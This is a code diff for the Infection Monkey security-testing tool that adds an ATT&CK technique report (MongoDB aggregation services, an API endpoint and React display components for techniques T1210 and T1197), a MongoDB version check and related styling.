@ -14,6 +14,8 @@ LINUX_DIST_SSH = ['ubuntu', 'debian']
class SSHFinger(HostFinger): class SSHFinger(HostFinger):
_SCANNED_SERVICE = 'SSH'
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE)
@ -38,12 +40,13 @@ class SSHFinger(HostFinger):
banner = data.get('banner', '') banner = data.get('banner', '')
if self._banner_regex.search(banner): if self._banner_regex.search(banner):
self._banner_match(name, host, banner) self._banner_match(name, host, banner)
host.services[SSH_SERVICE_DEFAULT]['display_name'] = self._SCANNED_SERVICE
return return
is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True) is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True)
if is_open: if is_open:
host.services[SSH_SERVICE_DEFAULT] = {} self.init_service(host.services, SSH_SERVICE_DEFAULT, SSH_PORT)
if banner: if banner:
host.services[SSH_SERVICE_DEFAULT]['banner'] = banner host.services[SSH_SERVICE_DEFAULT]['banner'] = banner

View File

@ -11,6 +11,9 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger): class TcpScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = 'unknown(TCP)'
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
@ -33,7 +36,7 @@ class TcpScanner(HostScanner, HostFinger):
self._config.tcp_scan_get_banner) self._config.tcp_scan_get_banner)
for target_port, banner in izip_longest(ports, banners, fillvalue=None): for target_port, banner in izip_longest(ports, banners, fillvalue=None):
service = tcp_port_to_service(target_port) service = tcp_port_to_service(target_port)
host.services[service] = {} self.init_service(host.services, service, target_port)
if banner: if banner:
host.services[service]['banner'] = banner host.services[service]['banner'] = banner
if only_one_port: if only_one_port:

View File

@ -16,7 +16,7 @@ class AttackTelem(object):
Default ATT&CK telemetry constructor Default ATT&CK telemetry constructor
:param technique: Technique ID. E.g. T111 :param technique: Technique ID. E.g. T111
:param status: int from ScanStatus Enum :param status: int from ScanStatus Enum
:param data: Other data relevant to the attack technique :param data: Dictionary of other relevant info. E.g. {'brute_force_blocked': True}
""" """
self.technique = technique self.technique = technique
self.result = status self.result = status

View File

@ -14,5 +14,5 @@ class VictimHostTelem(AttackTelem):
:param data: Other data relevant to the attack technique :param data: Other data relevant to the attack technique
""" """
super(VictimHostTelem, self).__init__(technique, status, data) super(VictimHostTelem, self).__init__(technique, status, data)
victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr} victim_host = {'domain_name': machine.domain_name, 'ip_addr': machine.ip_addr}
self.data.update({'machine': victim_host}) self.data.update({'machine': victim_host})

View File

@ -2,7 +2,7 @@ import os
import sys import sys
import shutil import shutil
import struct import struct
import datetime
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration

View File

@ -33,8 +33,9 @@ from monkey_island.cc.services.database import Database
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack_telem import AttackTelem from monkey_island.cc.resources.attack.attack_telem import AttackTelem
from monkey_island.cc.resources.attack_config import AttackConfiguration from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
from monkey_island.cc.resources.attack.attack_report import AttackReport
__author__ = 'Barak' __author__ = 'Barak'
@ -133,6 +134,7 @@ def init_api_resources(api):
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
api.add_resource(AttackConfiguration, '/api/attack') api.add_resource(AttackConfiguration, '/api/attack')
api.add_resource(AttackTelem, '/api/attack/<string:technique>') api.add_resource(AttackTelem, '/api/attack/<string:technique>')
api.add_resource(AttackReport, '/api/attack/report')
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')

View File

@ -25,3 +25,14 @@ def is_db_server_up(mongo_url):
return True return True
except ServerSelectionTimeoutError: except ServerSelectionTimeoutError:
return False return False
def get_db_version(mongo_url):
"""
Return the mongo db version
:param mongo_url: Which mongo to check.
:return: version as a tuple (e.g. `(u'4', u'0', u'8')`)
"""
client = MongoClient(mongo_url, serverSelectionTimeoutMS=100)
server_version = tuple(client.server_info()['version'].split('.'))
return server_version

View File

@ -6,6 +6,8 @@ import sys
import time import time
import logging import logging
MINIMUM_MONGO_DB_VERSION_REQUIRED = "3.6.0"
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if BASE_PATH not in sys.path: if BASE_PATH not in sys.path:
@ -22,7 +24,7 @@ from monkey_island.cc.app import init_app
from monkey_island.cc.exporter_init import populate_exporter_list from monkey_island.cc.exporter_init import populate_exporter_list
from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.environment.environment import env from monkey_island.cc.environment.environment import env
from monkey_island.cc.database import is_db_server_up from monkey_island.cc.database import is_db_server_up, get_db_version
def main(): def main():
@ -31,10 +33,8 @@ def main():
from tornado.ioloop import IOLoop from tornado.ioloop import IOLoop
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
wait_for_mongo_db_server(mongo_url)
while not is_db_server_up(mongo_url): assert_mongo_db_version(mongo_url)
logger.info('Waiting for MongoDB server')
time.sleep(1)
populate_exporter_list() populate_exporter_list()
app = init_app(mongo_url) app = init_app(mongo_url)
@ -55,5 +55,27 @@ def main():
IOLoop.instance().start() IOLoop.instance().start()
def wait_for_mongo_db_server(mongo_url):
while not is_db_server_up(mongo_url):
logger.info('Waiting for MongoDB server on {0}'.format(mongo_url))
time.sleep(1)
def assert_mongo_db_version(mongo_url):
"""
Checks if the mongodb version is new enough for running the app.
If the DB is too old, quits.
:param mongo_url: URL to the mongo the Island will use
"""
required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split("."))
server_version = get_db_version(mongo_url)
if server_version < required_version:
logger.error(
'Mongo DB version too old. {0} is required, but got {1}'.format(str(required_version), str(server_version)))
sys.exit(-1)
else:
logger.info('Mongo DB version OK. Got {0}'.format(str(server_version)))
if __name__ == '__main__': if __name__ == '__main__':
main() main()

View File

@ -0,0 +1 @@
__author__ = 'VakarisZ'

View File

@ -0,0 +1,13 @@
import flask_restful
from flask import jsonify
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.attack.attack_report import AttackReportService
__author__ = "VakarisZ"
class AttackReport(flask_restful.Resource):
@jwt_required()
def get(self):
return jsonify(AttackReportService.get_latest_report()['techniques'])

View File

@ -8,6 +8,7 @@ from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.report import ReportService from monkey_island.cc.services.report import ReportService
from monkey_island.cc.services.attack.attack_report import AttackReportService
from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.database import Database from monkey_island.cc.services.database import Database
@ -58,5 +59,7 @@ class Root(flask_restful.Resource):
else: else:
if is_any_exists: if is_any_exists:
ReportService.get_report() ReportService.get_report()
AttackReportService.get_latest_report()
report_done = ReportService.is_report_generated() report_done = ReportService.is_report_generated()
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done,
report_done=report_done)

View File

@ -18,6 +18,20 @@ class AttackConfig(object):
config = mongo.db.attack.find_one({'name': 'newconfig'}) config = mongo.db.attack.find_one({'name': 'newconfig'})
return config return config
@staticmethod
def get_technique(technique_id):
"""
Gets technique by id
:param technique_id: E.g. T1210
:return: Technique object or None if technique is not found
"""
attack_config = AttackConfig.get_config()
for key, attack_type in attack_config['properties'].items():
for key, technique in attack_type['properties'].items():
if key == technique_id:
return technique
return None
@staticmethod @staticmethod
def get_config_schema(): def get_config_schema():
return SCHEMA return SCHEMA

View File

@ -0,0 +1,59 @@
import logging
from monkey_island.cc.services.attack.technique_reports import T1210, T1197
from monkey_island.cc.services.attack.attack_telem import AttackTelemService
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210,
'T1197': T1197.T1197}
REPORT_NAME = 'new_report'
class AttackReportService:
def __init__(self):
pass
@staticmethod
def generate_new_report():
"""
Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object
"""
report = {'techniques': {}, 'meta': AttackTelemService.get_latest_telem(), 'name': REPORT_NAME}
for tech_id, value in AttackConfig.get_technique_values().items():
if value:
try:
report['techniques'].update({tech_id: TECHNIQUES[tech_id].get_report_data()})
except KeyError as e:
LOG.error("Attack technique does not have it's report component added "
"to attack report service. %s" % e)
mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True)
return report
@staticmethod
def get_latest_report():
"""
Gets latest report (by retrieving it from db or generating a new one).
:return: report dict.
"""
if AttackReportService.is_report_generated():
telem_time = AttackTelemService.get_latest_telem()
latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME})
if telem_time and latest_report['meta'] and telem_time['time'] == latest_report['meta']['time']:
return latest_report
return AttackReportService.generate_new_report()
@staticmethod
def is_report_generated():
"""
Checks if report is generated
:return: True if report exists, False otherwise
"""
generated_report = mongo.db.attack_report.find_one({})
return generated_report is not None

View File

@ -75,7 +75,7 @@ SCHEMA = {
"type": "object", "type": "object",
"properties": { "properties": {
"T1197": { "T1197": {
"title": "T1197 Bits jobs", "title": "T1197 BITS jobs",
"type": "bool", "type": "bool",
"value": True, "value": True,
"necessary": True, "necessary": True,

View File

@ -22,3 +22,9 @@ class AttackTelemService(object):
""" """
data.update({'technique': technique}) data.update({'technique': technique})
mongo.db.attack_results.insert(data) mongo.db.attack_results.insert(data)
mongo.db.attack_results.update({'name': 'latest'}, {'name': 'latest', 'time': data['time']}, upsert=True)
@staticmethod
def get_latest_telem():
return mongo.db.attack_results.find_one({'name': 'latest'})

View File

@ -0,0 +1,25 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
__author__ = "VakarisZ"
class T1197(AttackTechnique):
tech_id = "T1197"
unscanned_msg = "Monkey didn't try to use any bits jobs."
scanned_msg = "Monkey tried to use bits jobs but failed."
used_msg = "Monkey successfully used bits jobs at least once in the network."
@staticmethod
def get_report_data():
data = T1197.get_tech_base_data(T1197)
bits_results = mongo.db.attack_results.aggregate([{'$match': {'technique': T1197.tech_id}},
{'$group': {'_id': {'ip_addr': '$machine.ip_addr', 'usage': '$usage'},
'ip_addr': {'$first': '$machine.ip_addr'},
'domain_name': {'$first': '$machine.domain_name'},
'usage': {'$first': '$usage'},
'time': {'$first': '$time'}}
}])
bits_results = list(bits_results)
data.update({'bits_jobs': bits_results})
return data

View File

@ -0,0 +1,54 @@
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
TECHNIQUE = "T1210"
MESSAGES = {
'unscanned': "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?",
'scanned': "Monkey scanned for remote services on the network, but couldn't exploit any of them.",
'used': "Monkey scanned for remote services and exploited some on the network."
}
class T1210(AttackTechnique):
tech_id = "T1210"
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
used_msg = "Monkey scanned for remote services and exploited some on the network."
@staticmethod
def get_report_data():
data = {'title': T1210.technique_title(TECHNIQUE)}
scanned_services = T1210.get_scanned_services()
exploited_services = T1210.get_exploited_services()
if exploited_services:
data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg})
elif scanned_services:
data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg})
else:
data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg})
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
return data
@staticmethod
def get_scanned_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_type': 'scan'}},
{'$sort': {'data.service_count': -1}},
{'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'},
'machine': {'$first': '$data.machine'},
'time': {'$first': '$timestamp'}}}])
return list(results)
@staticmethod
def get_exploited_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_type': 'exploit', 'data.result': True}},
{'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'},
'service': {'$first': '$data.info'},
'machine': {'$first': '$data.machine'},
'time': {'$first': '$timestamp'}}}])
return list(results)

View File

@ -0,0 +1,88 @@
import abc
from monkey_island.cc.database import mongo
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic
class AttackTechnique(object):
""" Abstract class for ATT&CK report components """
__metaclass__ = abc.ABCMeta
@abc.abstractproperty
def unscanned_msg(self):
"""
:return: Message that will be displayed in case attack technique was not scanned.
"""
pass
@abc.abstractproperty
def scanned_msg(self):
"""
:return: Message that will be displayed in case attack technique was scanned.
"""
pass
@abc.abstractproperty
def used_msg(self):
"""
:return: Message that will be displayed in case attack technique was used by the scanner.
"""
pass
@abc.abstractproperty
def tech_id(self):
"""
:return: Message that will be displayed in case of attack technique not being scanned.
"""
pass
@staticmethod
@abstractstatic
def get_report_data():
"""
:return: Report data aggregated from the database.
"""
pass
@staticmethod
def technique_status(technique):
"""
Gets the status of a certain attack technique.
:param technique: technique's id.
:return: ScanStatus Enum object
"""
if mongo.db.attack_results.find_one({'status': ScanStatus.USED.value, 'technique': technique}):
return ScanStatus.USED
elif mongo.db.attack_results.find_one({'status': ScanStatus.SCANNED.value, 'technique': technique}):
return ScanStatus.SCANNED
else:
return ScanStatus.UNSCANNED
@staticmethod
def technique_title(technique):
"""
:param technique: Technique's id. E.g. T1110
:return: techniques title. E.g. "T1110 Brute force"
"""
return AttackConfig.get_technique(technique)['title']
@staticmethod
def get_tech_base_data(technique):
"""
Gathers basic attack technique data into a dict.
:param technique: Technique's id. E.g. T1110
:return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
"""
data = {}
status = AttackTechnique.technique_status(technique.tech_id)
title = AttackTechnique.technique_title(technique.tech_id)
data.update({'status': status.name, 'title': title})
if status == ScanStatus.UNSCANNED:
data.update({'message': technique.unscanned_msg})
elif status == ScanStatus.SCANNED:
data.update({'message': technique.scanned_msg})
else:
data.update({'message': technique.used_msg})
return data

File diff suppressed because it is too large Load Diff

View File

@ -65,6 +65,8 @@
"webpack-dev-server": "^3.1.9" "webpack-dev-server": "^3.1.9"
}, },
"dependencies": { "dependencies": {
"@kunukn/react-collapse": "^1.0.5",
"classnames": "^2.2.6",
"bootstrap": "3.4.1", "bootstrap": "3.4.1",
"core-js": "^2.5.7", "core-js": "^2.5.7",
"downloadjs": "^1.4.7", "downloadjs": "^1.4.7",

View File

@ -0,0 +1,57 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
class T1210 extends React.Component {
constructor(props) {
super(props);
this.columns = [ {Header: 'Machine',
id: 'machine', accessor: x => T1210.renderMachine(x),
style: { 'whiteSpace': 'unset' },
width: 200},
{Header: 'Time',
id: 'time', accessor: x => x.time,
style: { 'whiteSpace': 'unset' },
width: 170},
{Header: 'Usage',
id: 'usage', accessor: x => x.usage,
style: { 'whiteSpace': 'unset' }}
]
}
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};
renderExploitedMachines(){
if (this.props.data.bits_jobs.length === 0){
return (<div />)
} else {
return (<ReactTable
columns={this.columns}
data={this.props.data.bits_jobs}
showPagination={false}
defaultPageSize={this.props.data.bits_jobs.length}
/>)
}
}
render() {
return (
<div className="data-table-container">
<div>
<div>{this.props.data.message}</div>
{this.props.data.bits_jobs.length > 0 ? <div>BITS jobs were used in these machines: </div> : ''}
</div>
<br/>
{this.renderExploitedMachines()}
</div>
);
}
}
export default T1210;

View File

@ -0,0 +1,100 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
class T1210 extends React.Component {
constructor(props) {
super(props);
}
static getScanColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
]
}])}
static getExploitColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
]
}])};
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};
static renderEndpoint(val){
return (
<span>{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}</span>
)
};
static formatScanned(data){
let result = [];
for(let service in data.machine.services){
let scanned_service = {'machine': data.machine,
'time': data.time,
'service': {'port': [data.machine.services[service].port],
'display_name': data.machine.services[service].display_name}};
result.push(scanned_service)
}
return result
};
renderScannedServices(data) {
return (
<div>
<br/>
<div>Found services: </div>
<ReactTable
columns={T1210.getScanColumns()}
data={data}
showPagination={false}
defaultPageSize={data.length}
/>
</div>)
}
renderExploitedServices(data) {
return (
<div>
<br/>
<div>Exploited services: </div>
<ReactTable
columns={T1210.getExploitColumns()}
data={data}
showPagination={false}
defaultPageSize={data.length}
/>
</div>)
}
render() {
let scanned_services = this.props.data.scanned_services.map(T1210.formatScanned).flat();
return (
<div>
<div>{this.props.data.message}</div>
{scanned_services.length > 0 ?
this.renderScannedServices(scanned_services) : ''}
{this.props.data.exploited_services.length > 0 ?
this.renderExploitedServices(this.props.data.exploited_services) : ''}
</div>
);
}
}
export default T1210;

View File

@ -11,6 +11,7 @@ import {Line} from 'rc-progress';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import PassTheHashMapPageComponent from "./PassTheHashMapPage"; import PassTheHashMapPageComponent from "./PassTheHashMapPage";
import StrongUsers from "components/report-components/StrongUsers"; import StrongUsers from "components/report-components/StrongUsers";
import AttackReport from "components/report-components/AttackReport";
let guardicoreLogoImage = require('../../images/guardicore-logo.png'); let guardicoreLogoImage = require('../../images/guardicore-logo.png');
let monkeyLogoImage = require('../../images/monkey-icon.svg'); let monkeyLogoImage = require('../../images/monkey-icon.svg');
@ -141,6 +142,7 @@ class ReportPageComponent extends AuthComponent {
{this.generateReportFindingsSection()} {this.generateReportFindingsSection()}
{this.generateReportRecommendationsSection()} {this.generateReportRecommendationsSection()}
{this.generateReportGlanceSection()} {this.generateReportGlanceSection()}
{this.generateAttackSection()}
{this.generateReportFooter()} {this.generateReportFooter()}
</div> </div>
<div className="text-center no-print" style={{marginTop: '20px'}}> <div className="text-center no-print" style={{marginTop: '20px'}}>
@ -509,6 +511,21 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateAttackSection() {
return (<div id="attack">
<h3>
ATT&CK report
</h3>
<p>
This report shows information about ATT&CK techniques used by Infection Monkey.
</p>
<div>
<AttackReport/>
</div>
<br />
</div>)
}
generateReportFooter() { generateReportFooter() {
return ( return (
<div id="footer" className="text-center" style={{marginTop: '20px'}}> <div id="footer" className="text-center" style={{marginTop: '20px'}}>

View File

@ -0,0 +1,157 @@
import React from 'react';
import {Col} from 'react-bootstrap';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions';
import AuthComponent from '../AuthComponent';
import Collapse from '@kunukn/react-collapse';
import T1210 from '../attack/techniques/T1210';
import T1197 from '../attack/techniques/T1197';
import '../../styles/Collapse.scss'
const tech_components = {
'T1210': T1210,
'T1197': T1197
};
const classNames = require('classnames');
class AttackReportPageComponent extends AuthComponent {
constructor(props) {
super(props);
this.state = {
report: false,
allMonkeysAreDead: false,
runStarted: true,
collapseOpen: ''
};
}
componentDidMount() {
this.updateMonkeysRunning().then(res => this.getReportFromServer(res));
}
updateMonkeysRunning = () => {
return this.authFetch('/api')
.then(res => res.json())
.then(res => {
// This check is used to prevent unnecessary re-rendering
this.setState({
allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']),
runStarted: res['completed_steps']['run_monkey']
});
return res;
});
};
getReportFromServer(res) {
if (res['completed_steps']['run_monkey']) {
this.authFetch('/api/attack/report')
.then(res => res.json())
.then(res => {
this.setState({
report: res
});
});
}
}
onToggle = technique =>
this.setState(state => ({ collapseOpen: state.collapseOpen === technique ? null : technique }));
getComponentClass(tech_id){
switch (this.state.report[tech_id].status) {
case 'SCANNED':
return 'collapse-info';
case 'USED':
return 'collapse-danger';
default:
return 'collapse-default';
}
}
getTechniqueCollapse(tech_id){
return (
<div key={tech_id} className={classNames("collapse-item", { "item--active": this.state.collapseOpen === tech_id })}>
<button className={classNames("btn-collapse", this.getComponentClass(tech_id))} onClick={() => this.onToggle(tech_id)}>
<span>{this.state.report[tech_id].title}</span>
<span>
<i className={classNames("fa", this.state.collapseOpen === tech_id ? "fa-chevron-down" : "fa-chevron-up")}></i>
</span>
</button>
<Collapse
className="collapse-comp"
isOpen={this.state.collapseOpen === tech_id}
onChange={({ collapseState }) => {
this.setState({ tech_id: collapseState });
}}
onInit={({ collapseState }) => {
this.setState({ tech_id: collapseState });
}}
render={collapseState => this.createTechniqueContent(collapseState, tech_id)}/>
</div>
);
}
createTechniqueContent(collapseState, technique) {
const TechniqueComponent = tech_components[technique];
return (
<div className={`content ${collapseState}`}>
<TechniqueComponent data={this.state.report[technique]} />
</div>
);
}
renderLegend() {
return( <div id="header" className="row justify-content-between attack-legend">
<Col xs={4}>
<i className="fa fa-circle icon-default"></i>
<span> - Unscanned</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-info"></i>
<span> - Scanned</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-danger"></i>
<span> - Used</span>
</Col>
</div>)
}
generateReportContent(){
let content = [];
Object.keys(this.state.report).forEach((tech_id) => {
content.push(this.getTechniqueCollapse(tech_id))
});
return (
<div>
{this.renderLegend()}
<section className="app">{content}</section>
</div>
)
}
render() {
let content;
if (! this.state.runStarted)
{
content =
<p className="alert alert-warning">
<i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
You have to run a monkey before generating a report!
</p>;
} else if (this.state.report === false){
content = (<h1>Generating Report...</h1>);
} else if (Object.keys(this.state.report).length === 0) {
if (this.state.runStarted) {
content = (<h1>No techniques were scanned</h1>);
}
} else {
content = this.generateReportContent();
}
return ( <div> {content} </div> );
}
}
export default AttackReportPageComponent;

View File

@ -520,11 +520,27 @@ body {
} }
/* Attack config page */ /* Attack pages */
.attack-matrix .messages { .attack-matrix .messages {
margin-bottom: 30px; margin-bottom: 30px;
} }
.icon-info {
color: #ade3eb !important;
}
.icon-warning {
color: #f0ad4e !important;
}
.icon-danger {
color: #d9acac !important;
}
.icon-default {
color: #e0ddde !important;
}
.attack-legend { .attack-legend {
text-align: center; text-align: center;
margin-bottom: 20px; margin-bottom: 20px;
@ -539,3 +555,9 @@ body {
margin-left: auto; margin-left: auto;
margin-right: auto; margin-right: auto;
} }
.attack-report.footer-text{
text-align: right;
font-size: 0.8em;
margin-top: 20px;
}

View File

@ -0,0 +1,96 @@
$transition: 500ms cubic-bezier(0.4, 0.1, 0.1, 0.5);
$danger-color: #d9acac;
$info-color: #ade3eb;
$default-color: #e0ddde;
.collapse-item button {
font-size: inherit;
margin: 0;
padding: 1rem;
background: transparent;
border: 1px solid #ccc;
box-shadow: none;
-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
}
.collapse-item button span:first-child{
text-align:left;
}
.collapse-item button {
width: 100%;
box-shadow: 0 2px 6px #ccc;
border: none;
transition: background-color $transition;
display: flex;
font-family: inherit;
> span {
display: inline-block;
flex: 4;
text-align: right;
&:nth-child(2) {
flex: 3;
}
}
}
.collapse-danger {
background-color: $danger-color !important;
}
.collapse-info {
background-color: $info-color !important;
}
.collapse-default {
background-color: $default-color !important;
}
.collapse-item {
padding: 0.5rem;
&--active {
.btn-collapse {
background-color: #f7f7f7;
}
}
}
.collapse-item .collapse-comp {
padding: 0 7px 7px 7px;
border: 2px solid rgb(232, 228, 228);
border-top: 0;
display:block !important;
transition: height $transition;
overflow: hidden;
}
.collapse-item .content {
padding: 2rem 0;
transition: transform $transition;
will-change: transform;
$offset: 10px;
&.collapsing {
transform: translateY(-$offset);
}
&.collapse-comp {
transform: translateY(-$offset);
}
&.expanding {
transform: translateX(0px);
}
&.expanded {
transform: translateX(0px);
}
}
.collapse-item .text {
margin-bottom: 1rem;
}
.collapse-item .state {
display: inline-block;
min-width: 6em;
}